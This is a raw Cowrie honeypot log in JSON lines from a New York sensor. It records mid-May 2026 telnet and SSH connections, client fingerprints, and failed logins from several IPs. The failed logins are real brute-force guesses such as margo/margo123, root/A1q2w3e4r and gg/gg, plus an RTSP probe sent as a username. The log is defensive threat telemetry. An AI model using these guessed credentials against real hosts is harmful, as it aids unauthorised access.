{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53818,"dst_ip":"159.203.135.109","dst_port":23,"session":"996b645c2f99","protocol":"telnet","message":"New connection: 34.77.199.147:53818 (159.203.135.109:23) [session: 996b645c2f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.204892Z"}
{"eventid":"cowrie.session.closed","duration":0.005627870559692383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.210393Z","src_ip":"34.77.199.147","session":"996b645c2f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53824,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf34dfeb87f","protocol":"telnet","message":"New connection: 34.77.199.147:53824 (159.203.135.109:23) [session: 8bf34dfeb87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.360038Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53826,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b5e97a90bdb","protocol":"telnet","message":"New connection: 34.77.199.147:53826 (159.203.135.109:23) [session: 9b5e97a90bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.515109Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53830,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f6b71ab8f3","protocol":"telnet","message":"New connection: 34.77.199.147:53830 (159.203.135.109:23) [session: 27f6b71ab8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.669791Z"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo123","message":"login attempt [margo/margo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.732138Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53834,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e5ecb9a178","protocol":"telnet","message":"New connection: 34.77.199.147:53834 (159.203.135.109:23) [session: 98e5ecb9a178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.830278Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53844,"dst_ip":"159.203.135.109","dst_port":23,"session":"361f619aa45c","protocol":"telnet","message":"New connection: 34.77.199.147:53844 (159.203.135.109:23) [session: 361f619aa45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:24.986880Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53852,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ea08c1dcdf6","protocol":"telnet","message":"New connection: 34.77.199.147:53852 (159.203.135.109:23) [session: 6ea08c1dcdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.143802Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53868,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8e0f81d5eb7","protocol":"telnet","message":"New connection: 34.77.199.147:53868 (159.203.135.109:23) [session: e8e0f81d5eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.299732Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53870,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef41e3eecad4","protocol":"telnet","message":"New connection: 34.77.199.147:53870 (159.203.135.109:23) [session: ef41e3eecad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.456695Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53884,"dst_ip":"159.203.135.109","dst_port":23,"session":"a932573550a8","protocol":"telnet","message":"New connection: 34.77.199.147:53884 (159.203.135.109:23) [session: a932573550a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.612020Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.617617Z","src_ip":"34.77.199.147","session":"a932573550a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":53888,"dst_ip":"159.203.135.109","dst_port":23,"session":"082800cf4bdb","protocol":"telnet","message":"New connection: 34.77.199.147:53888 (159.203.135.109:23) [session: 082800cf4bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.773862Z"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo1234","message":"login attempt [margo/margo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.819173Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40894,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1a978c88c0","protocol":"telnet","message":"New connection: 34.77.199.147:40894 (159.203.135.109:23) [session: ff1a978c88c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:25.929427Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40896,"dst_ip":"159.203.135.109","dst_port":23,"session":"4085527d408e","protocol":"telnet","message":"New connection: 34.77.199.147:40896 (159.203.135.109:23) [session: 4085527d408e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.083940Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40904,"dst_ip":"159.203.135.109","dst_port":23,"session":"baaaa276c852","protocol":"telnet","message":"New connection: 34.77.199.147:40904 (159.203.135.109:23) [session: baaaa276c852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.238995Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40916,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d11572da187","protocol":"telnet","message":"New connection: 34.77.199.147:40916 (159.203.135.109:23) [session: 3d11572da187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.392924Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8b31062c35","protocol":"telnet","message":"New connection: 34.77.199.147:40930 (159.203.135.109:23) [session: 2c8b31062c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.548352Z"}
{"eventid":"cowrie.session.closed","duration":0.005055427551269531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.553286Z","src_ip":"34.77.199.147","session":"2c8b31062c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40938,"dst_ip":"159.203.135.109","dst_port":23,"session":"9902a1bd77b2","protocol":"telnet","message":"New connection: 34.77.199.147:40938 (159.203.135.109:23) [session: 9902a1bd77b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.703429Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.199.147","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9ecbc56221","protocol":"telnet","message":"New connection: 34.77.199.147:40946 (159.203.135.109:23) [session: 7f9ecbc56221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.859050Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7194","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7194] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.864104Z","src_ip":"34.77.199.147","session":"7f9ecbc56221","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo12345","message":"login attempt [margo/margo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:26.905484Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:27.993122Z","src_ip":"213.209.159.56","session":"e23b924b320c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49186,"dst_ip":"159.203.135.109","dst_port":22,"session":"93eaedee3297","protocol":"ssh","message":"New connection: 103.75.199.4:49186 (159.203.135.109:22) [session: 93eaedee3297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:30.480400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:30.485087Z","src_ip":"103.75.199.4","session":"93eaedee3297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:30.575833Z","src_ip":"103.75.199.4","session":"93eaedee3297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:30.849726Z","src_ip":"103.75.199.4","session":"93eaedee3297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:31.943438Z","src_ip":"103.75.199.4","session":"93eaedee3297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.18420147895813,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.887505Z","src_ip":"34.77.199.147","session":"9902a1bd77b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.03305959701538,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.891992Z","src_ip":"34.77.199.147","session":"7f9ecbc56221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.503885269165039,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.896672Z","src_ip":"34.77.199.147","session":"3d11572da187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.66636323928833,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.905243Z","src_ip":"34.77.199.147","session":"baaaa276c852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.239339828491211,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.909016Z","src_ip":"34.77.199.147","session":"27f6b71ab8f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.828541278839111,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.912388Z","src_ip":"34.77.199.147","session":"4085527d408e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.9865403175354,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.915870Z","src_ip":"34.77.199.147","session":"ff1a978c88c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.310766696929932,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.922252Z","src_ip":"34.77.199.147","session":"a932573550a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.151753187179565,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.925486Z","src_ip":"34.77.199.147","session":"082800cf4bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68440866470337,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.928640Z","src_ip":"34.77.199.147","session":"7d10c0cbd365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.632251024246216,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.931677Z","src_ip":"34.77.199.147","session":"e8e0f81d5eb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.478991985321045,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.935550Z","src_ip":"34.77.199.147","session":"ef41e3eecad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.794716119766235,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.938189Z","src_ip":"34.77.199.147","session":"6ea08c1dcdf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.954476356506348,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.941225Z","src_ip":"34.77.199.147","session":"361f619aa45c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.113975763320923,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.944137Z","src_ip":"34.77.199.147","session":"98e5ecb9a178","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.432084798812866,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.947020Z","src_ip":"34.77.199.147","session":"9b5e97a90bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.589767932891846,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.949677Z","src_ip":"34.77.199.147","session":"8bf34dfeb87f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.902255535125732,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.951735Z","src_ip":"34.77.199.147","session":"0a36cf197fa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.137730836868286,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.954615Z","src_ip":"34.77.199.147","session":"ee43fea06ae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.457828283309937,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.958413Z","src_ip":"34.77.199.147","session":"47021029c777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.30028510093689,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.961450Z","src_ip":"34.77.199.147","session":"52f4aa1f6eac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.619075775146484,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.964283Z","src_ip":"34.77.199.147","session":"cfc2913a39d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.778088569641113,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.967162Z","src_ip":"34.77.199.147","session":"a9784b8af4a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.937126636505127,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.969850Z","src_ip":"34.77.199.147","session":"1ddd3b97076b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.095546007156372,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.972849Z","src_ip":"34.77.199.147","session":"4666ea07e493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.253897190093994,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:38.975955Z","src_ip":"34.77.199.147","session":"ba8e39f81314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52754,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb34db42a904","protocol":"ssh","message":"New connection: 103.75.199.4:52754 (159.203.135.109:22) [session: eb34db42a904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:52.325265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:52.329553Z","src_ip":"103.75.199.4","session":"eb34db42a904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:52.424859Z","src_ip":"103.75.199.4","session":"eb34db42a904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:52.709851Z","src_ip":"103.75.199.4","session":"eb34db42a904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:38:53.808453Z","src_ip":"103.75.199.4","session":"eb34db42a904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":32860,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a094f2ad19","protocol":"ssh","message":"New connection: 78.40.37.143:32860 (10.17.0.5:22) [session: f0a094f2ad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:03.012551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:03.017826Z","src_ip":"78.40.37.143","session":"f0a094f2ad19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:03.103816Z","src_ip":"78.40.37.143","session":"f0a094f2ad19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1q2w3e4r","message":"login attempt [root/A1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:03.473650Z","src_ip":"78.40.37.143","session":"f0a094f2ad19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:04.562813Z","src_ip":"78.40.37.143","session":"f0a094f2ad19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":38228,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b2cd24a08fa","protocol":"ssh","message":"New connection: 80.94.92.171:38228 (159.203.135.109:22) [session: 2b2cd24a08fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:04.875896Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:04.992613Z","src_ip":"80.94.92.171","session":"2b2cd24a08fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52770,"dst_ip":"159.203.135.109","dst_port":22,"session":"358a84af0bac","protocol":"ssh","message":"New connection: 103.75.199.4:52770 (159.203.135.109:22) [session: 358a84af0bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:39:14.235165Z"}
